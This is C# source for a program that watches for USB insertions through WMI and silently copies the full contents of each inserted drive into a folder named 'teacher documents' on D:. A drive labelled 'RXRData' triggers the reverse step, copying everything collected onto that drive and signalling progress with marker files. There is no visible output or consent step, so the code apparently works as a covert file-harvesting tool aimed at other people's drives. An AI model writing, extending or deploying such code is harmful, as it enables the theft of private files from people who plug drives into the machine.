using CopyUSB;
using CopyUSB.MyDB;
using System.Diagnostics;
using System.Management;

	static string GetVolumeLabel(string driveName)
	{
		try
		{
			DriveInfo driveInfo = new DriveInfo(driveName);
			return driveInfo.VolumeLabel.Length == 0 ? "default" : driveInfo.VolumeLabel;
		}
		catch (Exception)
		{
			return "default";
		}
	}

	string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";

	ManagementEventWatcher managementEventWatcher = new(query);

	Debug.WriteLine("Waiting for USB...,take usb: RXRData");



	managementEventWatcher.EventArrived += (s, e) =>
	{
		try
		{
			/*Console.WriteLine("触发器被触发了");*/
			string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();


			Debug.WriteLine(driveName);
			
			var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));

			if (GetVolumeLabel(driveName) == "RXRData")
			{
				Debug.WriteLine("检测到拷出USB");
				if (!dataDir.Exists)
				{
					dataDir.Create();
				}
				long doneNum = 0;
				var copyTask = Task.Run(() =>
				{
					FileCopy.SimpleCopy(Path.Join(driveName, "FILE", "USBCopy"), Path.Join("D:", "老师文档"), ref doneNum);
				});
				var planPrint = Task.Run(() =>
				{
					try
					{
						Debug.WriteLine("scanning and get totle num");
						var fileNumber = FileCopy.DicFileNum(Path.Join("D:", "老师文档"));
						Debug.WriteLine("scanned ok and get totle num");
						Debug.WriteLine($"{doneNum} {fileNumber} {((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd");
						while (!copyTask.IsCompleted)
						{
							var usbRoot = new DirectoryInfo(driveName);
							if (usbRoot.GetFiles().Where(w => w.Name == $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd").ToArray().Length != 1)
							{
								var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
								Debug.WriteLine(doneNum.ToString());

								foreach (var file in oldPrint)
								{
									file.Delete();
								}
							}

							var newPrint = new FileInfo(Path.Join(driveName, $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd"));
							var nPStream = newPrint.Create();
							nPStream.Close();

							Thread.Sleep(1000);
						}
						{
							var usbRoot = new DirectoryInfo(driveName);
							var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
							Debug.WriteLine(doneNum.ToString());

							foreach (var file in oldPrint)
							{
								file.Delete();
							}

							var newPrint = new FileInfo(Path.Join(driveName, $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100: (int)((float)doneNum / (float)fileNumber * 100))}.upd"));
							var nPStream = newPrint.Create();
							nPStream.Close();
						}
					}catch(Exception ex)
					{
						Debug.WriteLine(ex.ToString());
					}
				});

				Task.WaitAll(copyTask, planPrint);
				Debug.WriteLine("-----Copy out OK---------");
				return;
			}
			if (GetVolumeLabel(driveName).StartsWith("RXR"))
			{
				Debug.WriteLine("-----It's my USB-----");
				return;
			}


			string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));

			Debug.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");

			if (!Directory.Exists(dPath))
			{
				Directory.CreateDirectory(dPath);
			}
			FileCopy.Copy(driveName, dPath);

			/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
			Debug.WriteLine("\n--------------Scaned and waiting--------------\n");
		}catch(Exception ex)
		{
			Debug.WriteLine(ex.ToString());
		}
	};

	managementEventWatcher.Start();

	// 让程序保持运行状态
	while (true)
	{
		Thread.Sleep(1000);
		/*Console.WriteLine("一次休眠周期");*/
	}